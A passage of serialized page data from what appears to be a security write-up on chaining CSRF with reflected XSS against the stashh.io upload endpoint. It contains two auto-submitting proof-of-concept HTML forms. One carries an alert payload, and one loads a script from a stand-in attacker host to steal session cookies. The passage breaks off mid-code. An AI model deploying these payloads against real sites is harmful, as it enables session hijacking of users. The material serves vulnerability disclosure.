below:",{"type":25,"tag":34,"props":1272,"children":1273},{},[1274],{"type":25,"tag":127,"props":1275,"children":1277},{"alt":7,"src":1276},"/posts/web2-bug-repellant-instructions/csrf.png",[],{"type":25,"tag":34,"props":1279,"children":1280},{},[1281],{"type":31,"value":1282},"and here there is the code:",{"type":25,"tag":191,"props":1284,"children":1286},{"className":193,"code":1285,"language":195,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq<img/src=x onerror=alert(document.domain)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[1287],{"type":25,"tag":115,"props":1288,"children":1289},{"__ignoreMap":7},[1290,1309,1326,1361,1449,1507,1708,1749,1765,1781,1788,1803,1810,1823,1883,1890,1956,1986,2025,2032,2070,2083,2090,2105],{"type":25,"tag":201,"props":1291,"children":1292},{"class":203,"line":204},[1293,1299,1304],{"type":25,"tag":201,"props":1294,"children":1296},{"style":1295},"--shiki-default:#808080",[1297],{"type":31,"value":1298},"\u003C",{"type":25,"tag":201,"props":1300,"children":1301},{"style":208},[1302],{"type":31,"value":1303},"html",{"type":25,"tag":201,"props":1305,"children":1306},{"style":1295},[1307],{"type":31,"value":1308},">\n",{"type":25,"tag":201,"props":1310,"children":1311},{"class":203,"line":226},[1312,1317,1322],{"type":25,"tag":201,"props":1313,"children":1314},{"style":1295},[1315],{"type":31,"value":1316},"  \u003C",{"type":25,"tag":201,"props":1318,"children":1319},{"style":208},[1320],{"type":31,"value":1321},"body",{"type":25,"tag":201,"props":1323,"children":1324},{"style":1295},[1325],{"type":31,"value":1308},{"type":25,"tag":201,"props":1327,"children":1328},{"class":203,"line":278},[1329,1333,1338,1343,1348,1353,1357],{"type":25,"tag":201,"props":1330,"children":1331},{"style":1295},[1332],{"type":31,"value":1316},{"type":25,"tag":201,"props":1334,"children":1335},{"style":208},[1336],{"type":31,"value":1337},"script",{"type":25,"tag":201,"props":1339,"children":1340},{"style":1295},[1341],{"type":31,"value":1342},">",{"type":25,"tag":201,"props":1344,"children":1345},{"style":220},[1346],{"type":31,"value":1347},"history.pushState('', '', '/')",{"type":25,"tag":201,"props":1349,"children":1350},{"style":1295},[1351],{"type":31,"value":1352},"\u003C/",{"type":25,"tag":201,"props":1354,"children":1355},{"style":208},[1356],{"type":31,"value":1337},{"type":25,"tag":201,"props":1358,"children":1359},{"style":1295},[1360],{"type":31,"value":1308},{"type":25,"tag":201,"props":1362,"children":1363},{"class":203,"line":311},[1364,1369,1374,1379,1384,1389,1394,1398,1403,1408,1412,1417,1422,1426,1431,1436,1440,1445],{"type":25,"tag":201,"props":1365,"children":1366},{"style":1295},[1367],{"type":31,"value":1368},"    \u003C",{"type":25,"tag":201,"props":1370,"children":1371},{"style":208},[1372],{"type":31,"value":1373},"form",{"type":25,"tag":201,"props":1375,"children":1376},{"style":246},[1377],{"type":31,"value":1378}," id",{"type":25,"tag":201,"props":1380,"children":1381},{"style":261},[1382],{"type":31,"value":1383},"=",{"type":25,"tag":201,"props":1385,"children":1386},{"style":267},[1387],{"type":31,"value":1388},"\"form123\"",{"type":25,"tag":201,"props":1390,"children":1391},{"style":246},[1392],{"type":31,"value":1393}," action",{"type":25,"tag":201,"props":1395,"children":1396},{"style":261},[1397],{"type":31,"value":1383},{"type":25,"tag":201,"props":1399,"children":1400},{"style":267},[1401],{"type":31,"value":1402},"\"https://stashh.io/upload_asset\"",{"type":25,"tag":201,"props":1404,"children":1405},{"style":246},[1406],{"type":31,"value":1407}," method",{"type":25,"tag":201,"props":1409,"children":1410},{"style":261},[1411],{"type":31,"value":1383},{"type":25,"tag":201,"props":1413,"children":1414},{"style":267},[1415],{"type":31,"value":1416},"\"POST\"",{"type":25,"tag":201,"props":1418,"children":1419},{"style":246},[1420],{"type":31,"value":1421}," enctype",{"type":25,"tag":201,"props":1423,"children":1424},{"style":261},[1425],{"type":31,"value":1383},{"type":25,"tag":201,"props":1427,"children":1428},{"style":267},[1429],{"type":31,"value":1430},"\"multipart/form-data\"",{"type":25,"tag":201,"props":1432,"children":1433},{"style":246},[1434],{"type":31,"value":1435}," value",{"type":25,"tag":201,"props":1437,"children":1438},{"style":261},[1439],{"type":31,"value":1383},{"type":25,"tag":201,"props":1441,"children":1442},{"style":267},[1443],{"type":31,"value":1444},"\"asd\"",{"type":25,"tag":201,"props":1446,"children":1447},{"style":1295},[1448],{"type":31,"value":1308},{"type":25,"tag":201,"props":1450,"children":1451},{"class":203,"line":330},[1452,1457,1462,1467,1471,1476,1481,1485,1490,1494,1498,1503],{"type":25,"tag":201,"props":1453,"children":1454},{"style":1295},[1455],{"type":31,"value":1456},"     \u003C",{"type":25,"tag":201,"props":1458,"children":1459},{"style":208},[1460],{"type":31,"value":1461},"input",{"type":25,"tag":201,"props":1463,"children":1464},{"style":246},[1465],{"type":31,"value":1466}," type",{"type":25,"tag":201,"props":1468,"children":1469},{"style":261},[1470],{"type":31,"value":1383},{"type":25,"tag":201,"props":1472,"children":1473},{"style":267},[1474],{"type":31,"value":1475},"\"file\"",{"type":25,"tag":201,"props":1477,"children":1478},{"style":246},[1479],{"type":31,"value":1480}," name",{"type":25,"tag":201,"props":1482,"children":1483},{"style":261},[1484],{"type":31,"value":1383},{"type":25,"tag":201,"props":1486,"children":1487},{"style":267},[1488],{"type":31,"value":1489},"\"data\"",{"type":25,"tag":201,"props":1491,"children":1492},{"style":246},[1493],{"type":31,"value":1378},{"type":25,"tag":201,"props":1495,"children":1496},{"style":261},[1497],{"type":31,"value":1383},{"type":25,"tag":201,"props":1499,"children":1500},{"style":267},[1501],{"type":31,"value":1502},"\"file123\"",{"type":25,"tag":201,"props":1504,"children":1505},{"style":1295},[1506],{"type":31,"value":1308},{"type":25,"tag":201,"props":1508,"children":1509},{"class":203,"line":397},[1510,1515,1519,1523,1527,1532,1536,1540,1545,1549,1553,1558,1563,1568,1573,1578,1583,1587,1592,1597,1602,1607,1612,1617,1621,1626,1631,1636,1641,1646,1651,1656,1660,1665,1670,1675,1680,1685,1689,1694,1699,1703],{"type":25,"tag":201,"props":1511,"children":1512},{"style":1295},[1513],{"type":31,"value":1514},"      \u003C",{"type":25,"tag":201,"props":1516,"children":1517},{"style":208},[1518],{"type":31,"value":1461},{"type":25,"tag":201,"props":1520,"children":1521},{"style":246},[1522],{"type":31,"value":1466},{"type":25,"tag":201,"props":1524,"children":1525},{"style":261},[1526],{"type":31,"value":1383},{"type":25,"tag":201,"props":1528,"children":1529},{"style":267},[1530],{"type":31,"value":1531},"\"hidden\"",{"type":25,"tag":201,"props":1533,"children":1534},{"style":246},[1535],{"type":31,"value":1480},{"type":25,"tag":201,"props":1537,"children":1538},{"style":261},[1539],{"type":31,"value":1383},{"type":25,"tag":201,"props":1541,"children":1542},{"style":267},[1543],{"type":31,"value":1544},"\"config\"",{"type":25,"tag":201,"props":1546,"children":1547},{"style":246},[1548],{"type":31,"value":1435},{"type":25,"tag":201,"props":1550,"children":1551},{"style":261},[1552],{"type":31,"value":1383},{"type":25,"tag":201,"props":1554,"children":1555},{"style":267},[1556],{"type":31,"value":1557},"\"",{"type":25,"tag":201,"props":1559,"children":1560},{"style":208},[1561],{"type":31,"value":1562},"{"",{"type":25,"tag":201,"props":1564,"children":1565},{"style":267},[1566],{"type":31,"value":1567},"address",{"type":25,"tag":201,"props":1569,"children":1570},{"style":208},[1571],{"type":31,"value":1572},"":"",{"type":25,"tag":201,"props":1574,"children":1575},{"style":267},[1576],{"type":31,"value":1577},"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq",{"type":25,"tag":201,"props":1579,"children":1580},{"style":208},[1581],{"type":31,"value":1582},"<",{"type":25,"tag":201,"props":1584,"children":1585},{"style":267},[1586],{"type":31,"value":127},{"type":25,"tag":201,"props":1588,"children":1589},{"style":208},[1590],{"type":31,"value":1591},"/",{"type":25,"tag":201,"props":1593,"children":1594},{"style":267},[1595],{"type":31,"value":1596},"src",{"type":25,"tag":201,"props":1598,"children":1599},{"style":208},[1600],{"type":31,"value":1601},"=",{"type":25,"tag":201,"props":1603,"children":1604},{"style":267},[1605],{"type":31,"value":1606},"x",{"type":25,"tag":201,"props":1608,"children":1609},{"style":208},[1610],{"type":31,"value":1611}," ",{"type":25,"tag":201,"props":1613,"children":1614},{"style":267},[1615],{"type":31,"value":1616},"onerror",{"type":25,"tag":201,"props":1618,"children":1619},{"style":208},[1620],{"type":31,"value":1601},{"type":25,"tag":201,"props":1622,"children":1623},{"style":267},[1624],{"type":31,"value":1625},"alert",{"type":25,"tag":201,"props":1627,"children":1628},{"style":208},[1629],{"type":31,"value":1630},"(",{"type":25,"tag":201,"props":1632,"children":1633},{"style":267},[1634],{"type":31,"value":1635},"document",{"type":25,"tag":201,"props":1637,"children":1638},{"style":208},[1639],{"type":31,"value":1640},".",{"type":25,"tag":201,"props":1642,"children":1643},{"style":267},[1644],{"type":31,"value":1645},"domain",{"type":25,"tag":201,"props":1647,"children":1648},{"style":208},[1649],{"type":31,"value":1650},")>","",{"type":25,"tag":201,"props":1652,"children":1653},{"style":267},[1654],{"type":31,"value":1655},"to",{"type":25,"tag":201,"props":1657,"children":1658},{"style":208},[1659],{"type":31,"value":1572},{"type":25,"tag":201,"props":1661,"children":1662},{"style":267},[1663],{"type":31,"value":1664},"profile",{"type":25,"tag":201,"props":1666,"children":1667},{"style":208},[1668],{"type":31,"value":1669},"-",{"type":25,"tag":201,"props":1671,"children":1672},{"style":267},[1673],{"type":31,"value":1674},"assets",{"type":25,"tag":201,"props":1676,"children":1677},{"style":208},[1678],{"type":31,"value":1679},"","",{"type":25,"tag":201,"props":1681,"children":1682},{"style":267},[1683],{"type":31,"value":1684},"type",{"type":25,"tag":201,"props":1686,"children":1687},{"style":208},[1688],{"type":31,"value":1572},{"type":25,"tag":201,"props":1690,"children":1691},{"style":267},[1692],{"type":31,"value":1693},"icon",{"type":25,"tag":201,"props":1695,"children":1696},{"style":208},[1697],{"type":31,"value":1698},""}",{"type":25,"tag":201,"props":1700,"children":1701},{"style":267},[1702],{"type":31,"value":1557},{"type":25,"tag":201,"props":1704,"children":1705},{"style":1295},[1706],{"type":31,"value":1707}," />\n",{"type":25,"tag":201,"props":1709,"children":1710},{"class":203,"line":437},[1711,1715,1719,1723,1727,1732,1736,1740,1745],{"type":25,"tag":201,"props":1712,"children":1713},{"style":1295},[1714],{"type":31,"value":1514},{"type":25,"tag":201,"props":1716,"children":1717},{"style":208},[1718],{"type":31,"value":1461},{"type":25,"tag":201,"props":1720,"children":1721},{"style":246},[1722],{"type":31,"value":1466},{"type":25,"tag":201,"props":1724,"children":1725},{"style":261},[1726],{"type":31,"value":1383},{"type":25,"tag":201,"props":1728,"children":1729},{"style":267},[1730],{"type":31,"value":1731},"\"submit\"",{"type":25,"tag":201,"props":1733,"children":1734},{"style":246},[1735],{"type":31,"value":1435},{"type":25,"tag":201,"props":1737,"children":1738},{"style":261},[1739],{"type":31,"value":1383},{"type":25,"tag":201,"props":1741,"children":1742},{"style":267},[1743],{"type":31,"value":1744},"\"Submit request\"",{"type":25,"tag":201,"props":1746,"children":1747},{"style":1295},[1748],{"type":31,"value":1707},{"type":25,"tag":201,"props":1750,"children":1751},{"class":203,"line":464},[1752,1757,1761],{"type":25,"tag":201,"props":1753,"children":1754},{"style":1295},[1755],{"type":31,"value":1756},"    \u003C/",{"type":25,"tag":201,"props":1758,"children":1759},{"style":208},[1760],{"type":31,"value":1373},{"type":25,"tag":201,"props":1762,"children":1763},{"style":1295},[1764],{"type":31,"value":1308},{"type":25,"tag":201,"props":1766,"children":1767},{"class":203,"line":490},[1768,1773,1777],{"type":25,"tag":201,"props":1769,"children":1770},{"style":1295},[1771],{"type":31,"value":1772},"  \u003C/",{"type":25,"tag":201,"props":1774,"children":1775},{"style":208},[1776],{"type":31,"value":1321},{"type":25,"tag":201,"props":1778,"children":1779},{"style":1295},[1780],{"type":31,"value":1308},{"type":25,"tag":201,"props":1782,"children":1783},{"class":203,"line":499},[1784],{"type":25,"tag":201,"props":1785,"children":1786},{"emptyLinePlaceholder":17},[1787],{"type":31,"value":496},{"type":25,"tag":201,"props":1789,"children":1790},{"class":203,"line":522},[1791,1795,1799],{"type":25,"tag":201,"props":1792,"children":1793},{"style":1295},[1794],{"type":31,"value":1316},{"type":25,"tag":201,"props":1796,"children":1797},{"style":208},[1798],{"type":31,"value":1337},{"type":25,"tag":201,"props":1800,"children":1801},{"style":1295},[1802],{"type":31,"value":1308},{"type":25,"tag":201,"props":1804,"children":1805},{"class":203,"line":531},[1806],{"type":25,"tag":201,"props":1807,"children":1808},{"emptyLinePlaceholder":17},[1809],{"type":31,"value":496},{"type":25,"tag":201,"props":1811,"children":1812},{"class":203,"line":550},[1813,1818],{"type":25,"tag":201,"props":1814,"children":1815},{"style":220},[1816],{"type":31,"value":1817},"    (async ()=>",{"type":25,"tag":201,"props":1819,"children":1820},{"style":208},[1821],{"type":31,"value":1822},"{\n",{"type":25,"tag":201,"props":1824,"children":1825},{"class":203,"line":563},[1826,1831,1836,1841,1846,1850,1854,1859,1863,1868,1873,1878],{"type":25,"tag":201,"props":1827,"children":1828},{"style":246},[1829],{"type":31,"value":1830},"        const",{"type":25,"tag":201,"props":1832,"children":1833},{"style":246},[1834],{"type":31,"value":1835}," blob",{"type":25,"tag":201,"props":1837,"children":1838},{"style":261},[1839],{"type":31,"value":1840}," = ",{"type":25,"tag":201,"props":1842,"children":1843},{"style":230},[1844],{"type":31,"value":1845},"await",{"type":25,"tag":201,"props":1847,"children":1848},{"style":261},[1849],{"type":31,"value":238},{"type":25,"tag":201,"props":1851,"children":1852},{"style":230},[1853],{"type":31,"value":1845},{"type":25,"tag":201,"props":1855,"children":1856},{"style":214},[1857],{"type":31,"value":1858}," fetch",{"type":25,"tag":201,"props":1860,"children":1861},{"style":261},[1862],{"type":31,"value":298},{"type":25,"tag":201,"props":1864,"children":1865},{"style":267},[1866],{"type":31,"value":1867},"\"/sapo.png\"",{"type":25,"tag":201,"props":1869,"children":1870},{"style":261},[1871],{"type":31,"value":1872},")).",{"type":25,"tag":201,"props":1874,"children":1875},{"style":214},[1876],{"type":31,"value":1877},"blob",{"type":25,"tag":201,"props":1879,"children":1880},{"style":261},[1881],{"type":31,"value":1882},"()\n",{"type":25,"tag":201,"props":1884,"children":1885},{"class":203,"line":572},[1886],{"type":25,"tag":201,"props":1887,"children":1888},{"emptyLinePlaceholder":17},[1889],{"type":31,"value":496},{"type":25,"tag":201,"props":1891,"children":1892},{"class":203,"line":590},[1893,1898,1903,1907,1912,1917,1922,1926,1931,1936,1941,1946,1951],{"type":25,"tag":201,"props":1894,"children":1895},{"style":246},[1896],{"type":31,"value":1897},"        let",{"type":25,"tag":201,"props":1899,"children":1900},{"style":246},[1901],{"type":31,"value":1902}," f",{"type":25,"tag":201,"props":1904,"children":1905},{"style":261},[1906],{"type":31,"value":1840},{"type":25,"tag":201,"props":1908,"children":1909},{"style":208},[1910],{"type":31,"value":1911},"new",{"type":25,"tag":201,"props":1913,"children":1914},{"style":214},[1915],{"type":31,"value":1916}," File",{"type":25,"tag":201,"props":1918,"children":1919},{"style":261},[1920],{"type":31,"value":1921},"([",{"type":25,"tag":201,"props":1923,"children":1924},{"style":246},[1925],{"type":31,"value":1877},{"type":25,"tag":201,"props":1927,"children":1928},{"style":261},[1929],{"type":31,"value":1930},"], ",{"type":25,"tag":201,"props":1932,"children":1933},{"style":267},[1934],{"type":31,"value":1935},"'sapo.png'",{"type":25,"tag":201,"props":1937,"children":1938},{"style":261},[1939],{"type":31,"value":1940},", {",{"type":25,"tag":201,"props":1942,"children":1943},{"style":246},[1944],{"type":31,"value":1945},"type:",{"type":25,"tag":201,"props":1947,"children":1948},{"style":267},[1949],{"type":31,"value":1950}," 'image/png'",{"type":25,"tag":201,"props":1952,"children":1953},{"style":261},[1954],{"type":31,"value":1955},"})\n",{"type":25,"tag":201,"props":1957,"children":1958},{"class":203,"line":608},[1959,1963,1968,1972,1976,1981],{"type":25,"tag":201,"props":1960,"children":1961},{"style":246},[1962],{"type":31,"value":1830},{"type":25,"tag":201,"props":1964,"children":1965},{"style":246},[1966],{"type":31,"value":1967}," dataTransfer",{"type":25,"tag":201,"props":1969,"children":1970},{"style":261},[1971],{"type":31,"value":1840},{"type":25,"tag":201,"props":1973,"children":1974},{"style":208},[1975],{"type":31,"value":1911},{"type":25,"tag":201,"props":1977,"children":1978},{"style":214},[1979],{"type":31,"value":1980}," DataTransfer",{"type":25,"tag":201,"props":1982,"children":1983},{"style":261},[1984],{"type":31,"value":1985},"();\n",{"type":25,"tag":201,"props":1987,"children":1988},{"class":203,"line":617},[1989,1994,1998,2003,2007,2012,2016,2021],{"type":25,"tag":201,"props":1990,"children":1991},{"style":246},[1992],{"type":31,"value":1993},"        dataTransfer",{"type":25,"tag":201,"props":1995,"children":1996},{"style":261},[1997],{"type":31,"value":80},{"type":25,"tag":201,"props":1999,"children":2000},{"style":246},[2001],{"type":31,"value":2002},"items",{"type":25,"tag":201,"props":2004,"children":2005},{"style":261},[2006],{"type":31,"value":80},{"type":25,"tag":201,"props":2008,"children":2009},{"style":214},[2010],{"type":31,"value":2011},"add",{"type":25,"tag":201,"props":2013,"children":2014},{"style":261},[2015],{"type":31,"value":298},{"type":25,"tag":201,"props":2017,"children":2018},{"style":246},[2019],{"type":31,"value":2020},"f",{"type":25,"tag":201,"props":2022,"children":2023},{"style":261},[2024],{"type":31,"value":308},{"type":25,"tag":201,"props":2026,"children":2027},{"class":203,"line":625},[2028],{"type":25,"tag":201,"props":2029,"children":2030},{"emptyLinePlaceholder":17},[2031],{"type":31,"value":496},{"type":25,"tag":201,"props":2033,"children":2034},{"class":203,"line":642},[2035,2040,2044,2049,2053,2058,2062,2066],{"type":25,"tag":201,"props":2036,"children":2037},{"style":246},[2038],{"type":31,"value":2039},"        file123",{"type":25,"tag":201,"props":2041,"children":2042},{"style":261},[2043],{"type":31,"value":80},{"type":25,"tag":201,"props":2045,"children":2046},{"style":246},[2047],{"type":31,"value":2048},"files",{"type":25,"tag":201,"props":2050,"children":2051},{"style":261},[2052],{"type":31,"value":1840},{"type":25,"tag":201,"props":2054,"children":2055},{"style":246},[2056],{"type":31,"value":2057},"dataTransfer",{"type":25,"tag":201,"props":2059,"children":2060},{"style":261},[2061],{"type":31,"value":80},{"type":25,"tag":201,"props":2063,"children":2064},{"style":246},[2065],{"type":31,"value":2048},{"type":25,"tag":201,"props":2067,"children":2068},{"style":261},[2069],{"type":31,"value":461},{"type":25,"tag":201,"props":2071,"children":2072},{"class":203,"line":659},[2073,2078],{"type":25,"tag":201,"props":2074,"children":2075},{"style":208},[2076],{"type":31,"value":2077},"    }",{"type":25,"tag":201,"props":2079,"children":2080},{"style":220},[2081],{"type":31,"value":2082},")()\n",{"type":25,"tag":201,"props":2084,"children":2085},{"class":203,"line":667},[2086],{"type":25,"tag":201,"props":2087,"children":2088},{"emptyLinePlaceholder":17},[2089],{"type":31,"value":496},{"type":25,"tag":201,"props":2091,"children":2092},{"class":203,"line":676},[2093,2097,2101],{"type":25,"tag":201,"props":2094,"children":2095},{"style":1295},[2096],{"type":31,"value":1772},{"type":25,"tag":201,"props":2098,"children":2099},{"style":208},[2100],{"type":31,"value":1337},{"type":25,"tag":201,"props":2102,"children":2103},{"style":1295},[2104],{"type":31,"value":1308},{"type":25,"tag":201,"props":2106,"children":2107},{"class":203,"line":694},[2108,2112,2116],{"type":25,"tag":201,"props":2109,"children":2110},{"style":1295},[2111],{"type":31,"value":1352},{"type":25,"tag":201,"props":2113,"children":2114},{"style":208},[2115],{"type":31,"value":1303},{"type":25,"tag":201,"props":2117,"children":2118},{"style":1295},[2119],{"type":31,"value":1308},{"type":25,"tag":34,"props":2121,"children":2122},{},[2123],{"type":31,"value":2124},"When playing around with the application, we discovered that if an invalid address was submitted, the user's input would be reflected directly inside the response, another possible XSS vulnerability.",{"type":25,"tag":34,"props":2126,"children":2127},{},[2128],{"type":31,"value":2129},"However, since the request was a POST request, we initially thought this was only a self-XSS.",{"type":25,"tag":34,"props":2131,"children":2132},{},[2133],{"type":31,"value":2134},"In an effort to increase the impact of the above vulnerability, we discovered a way to leverage Cross-Site Request Forgery (CSRF) to manipulate the user's browser into sending a forced request that contained our XSS payload.",{"type":25,"tag":34,"props":2136,"children":2137},{},[2138],{"type":31,"value":2139},"From here, we were able to steal the session cookie from local storage.",{"type":25,"tag":191,"props":2141,"children":2143},{"className":193,"code":2142,"language":195,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"<img/src=x onerror=import(`https://attacker-server.com/leak.js`)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n\n        form123.submit()\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[2144],{"type":25,"tag":115,"props":2145,"children":2146},{"__ignoreMap":7},[2147,2162,2177,2208,2283,2334,2522,2561,2576,2591,2598,2613,2620,2631,2682,2689,2744,2771,2806,2813,2848,2855,2876,2887,2894,2909],{"type":25,"tag":201,"props":2148,"children":2149},{"class":203,"line":204},[2150,2154,2158],{"type":25,"tag":201,"props":2151,"children":2152},{"style":1295},[2153],{"type":31,"value":1298},{"type":25,"tag":201,"props":2155,"children":2156},{"style":208},[2157],{"type":31,"value":1303},{"type":25,"tag":201,"props":2159,"children":2160},{"style":1295},[2161],{"type":31,"value":1308},{"type":25,"tag":201,"props":2163,"children":2164},{"class":203,"line":226},[2165,2169,2173],{"type":25,"tag":201,"props":2166,"children":2167},{"style":1295},[2168],{"type":31,"value":1316},{"type":25,"tag":201,"props":2170,"children":2171},{"style":208},[2172],{"type":31,"value":1321},{"type":25,"tag":201,"props":2174,"children":2175},{"style":1295},[2176],{"type":31,"value":1308},{"type":25,"tag":201,"props":2178,"children":2179},{"class":203,"line":278},[2180,2184,2188,2192,2196,2200,2204],{"type":25,"tag":201,"props":2181,"children":2182},{"style":1295},[2183],{"type":31,"value":1316},{"type":25,"tag":201,"props":2185,"children":2186},{"style":208},[2187],{"type":31,"value":1337},{"type":25,"tag":201,"props":2189,"children":2190},{"style":1295},[2191],{"type":31,"value":1342},{"type":25,"tag":201,"props":2193,"children":2194},{"style":220},[2195],{"type":31,"value":1347},{"type":25,"tag":201,"props":2197,"children":2198},{"style":1295},[2199],{"type":31,"value":1352},{"type":25,"tag":201,"props":2201,"children":2202},{"style":208},[2203],{"type":31,"value":1337},{"type":25,"tag":201,"props":2205,"children":2206},{"style":1295},[2207],{"type":31,"value":1308},{"type":25,"tag":201,"props":2209,"children":2210},{"class":203,"line":311},[2211,2215,2219,2223,2227,2231,2235,2239,2243,2247,2251,2255,2259,2263,2267,2271,2275,2279],{"type":25,"tag":201,"props":2212,"children":2213},{"style":1295},[2214],{"type":31,"value":1368},{"type":25,"tag":201,"props":2216,"children":2217},{"style":208},[2218],{"type":31,"value":1373},{"type":25,"tag":201,"props":2220,"children":2221},{"style":246},[2222],{"type":31,"value":1378},{"type":25,"tag":201,"props":2224,"children":2225},{"style":261},[2226],{"type":31,"value":1383},{"type":25,"tag":201,"props":2228,"children":2229},{"style":267},[2230],{"type":31,"value":1388},{"type":25,"tag":201,"props":2232,"children":2233},{"style":246},[2234],{"type":31,"value":1393},{"type":25,"tag":201,"props":2236,"children":2237},{"style":261},[2238],{"type":31,"value":1383},{"type":25,"tag":201,"props":2240,"children":2241},{"style":267},[2242],{"type":31,"value":1402},{"type":25,"tag":201,"props":2244,"children":2245},{"style":246},[2246],{"type":31,"value":1407},{"type":25,"tag":201,"props":2248,"children":2249},{"style":261},[2250],{"type":31,"value":1383},{"type":25,"tag":201,"props":2252,"children":2253},{"style":267},[2254],{"type":31,"value":1416},{"type":25,"tag":201,"props":2256,"children":2257},{"style":246},[2258],{"type":31,"value":1421},{"type":25,"tag":201,"props":2260,"children":2261},{"style":261},[2262],{"type":31,"value":1383},{"type":25,"tag":201,"props":2264,"children":2265},{"style":267},[2266],{"type":31,"value":1430},{"type":25,"tag":201,"props":2268,"children":2269},{"style":246},[2270],{"type":31,"value":1435},{"type":25,"tag":201,"props":2272,"children":2273},{"style":261},[2274],{"type":31,"value":1383},{"type":25,"tag":201,"props":2276,"children":2277},{"style":267},[2278],{"type":31,"value":1444},{"type":25,"tag":201,"props":2280,"children":2281},{"style":1295},[2282],{"type":31,"value":1308},{"type":25,"tag":201,"props":2284,"children":2285},{"class":203,"line":330},[2286,2290,2294,2298,2302,2306,2310,2314,2318,2322,2326,2330],{"type":25,"tag":201,"props":2287,"children":2288},{"style":1295},[2289],{"type":31,"value":1456},{"type":25,"tag":201,"props":2291,"children":2292},{"style":208},[2293],{"type":31,"value":1461},{"type":25,"tag":201,"props":2295,"children":2296},{"style":246},[2297],{"type":31,"value":1466},{"type":25,"tag":201,"props":2299,"children":2300},{"style":261},[2301],{"type":31,"value":1383},{"type":25,"tag":201,"props":2303,"children":2304},{"style":267},[2305],{"type":31,"value":1475},{"type":25,"tag":201,"props":2307,"children":2308},{"style":246},[2309],{"type":31,"value":1480},{"type":25,"tag":201,"props":2311,"children":2312},{"style":261},[2313],{"type":31,"value":1383},{"type":25,"tag":201,"props":2315,"children":2316},{"style":267},[2317],{"type":31,"value":1489},{"type":25,"tag":201,"props":2319,"children":2320},{"style":246},[2321],{"type":31,"value":1378},{"type":25,"tag":201,"props":2323,"children":2324},{"style":261},[2325],{"type":31,"value":1383},{"type":25,"tag":201,"props":2327,"children":2328},{"style":267},[2329],{"type":31,"value":1502},{"type":25,"tag":201,"props":2331,"children":2332},{"style":1295},[2333],{"type":31,"value":1308},{"type":25,"tag":201,"props":2335,"children":2336},{"class":203,"line":397},[2337,2341,2345,2349,2353,2357,2361,2365,2369,2373,2377,2381,2386,2390,2395,2399,2404,2408,2413,2418,2422,2426,2431,2436,2441,2446,2451,2456,2460,2465,2469,2473,2478,2482,2487,2492,2497,2501,2505,2509,2514,2518],{"type":25,"tag":201,"props":2338,"children":2339},{"style":1295},[2340],{"type":31,"value":1514},{"type":25,"tag":201,"props":2342,"children":2343},{"style":208},[2344],{"type":31,"value":1461},{"type":25,"tag":201,"props":2346,"children":2347},{"style":246},[2348],{"type":31,"value":1466},{"type":25,"tag":201,"props":2350,"children":2351},{"style":261},[2352],{"type":31,"value":1383},{"type":25,"tag":201,"props":2354,"children":2355},{"style":267},[2356],{"type":31,"value":1531},{"type":25,"tag":201,"props":2358,"children":2359},{"style":246},[2360],{"type":31,"value":1480},{"type":25,"tag":201,"props":2362,"children":2363},{"style":261},[2364],{"type":31,"value":1383},{"type":25,"tag":201,"props":2366,"children":2367},{"style":267},[2368],{"type":31,"value":1544},{"type":25,"tag":201,"props":2370,"children":2371},{"style":246},[2372],{"type":31,"value":1435},{"type":25,"tag":201,"props":2374,"children":2375},{"style":261},[2376],{"type":31,"value":1383},{"type":25,"tag":201,"props":2378,"children":2379},{"style":267},[2380],{"type":31,"value":1557},{"type":25,"tag":201,"props":2382,"children":2383},{"style":208},[2384],{"type":31,"value":2385},"{"",{"type":25,"tag":201,"props":2387,"children":2388},{"style":267},[2389],{"type":31,"value":1567},{"type":25,"tag":201,"props":2391,"children":2392},{"style":208},[2393],{"type":31,"value":2394},"":"<",{"type":25,"tag":201,"props":2396,"children":2397},{"style":267},[2398],{"type":31,"value":127},{"type":25,"tag":201,"props":2400,"children":2401},{"style":208},[2402],{"type":31,"value":2403},"/",{"type":25,"tag":201,"props":2405,"children":2406},{"style":267},[2407],{"type":31,"value":1596},{"type":25,"tag":201,"props":2409,"children":2410},{"style":208},[2411],{"type":31,"value":2412},"=",{"type":25,"tag":201,"props":2414,"children":2415},{"style":267},[2416],{"type":31,"value":2417},"x 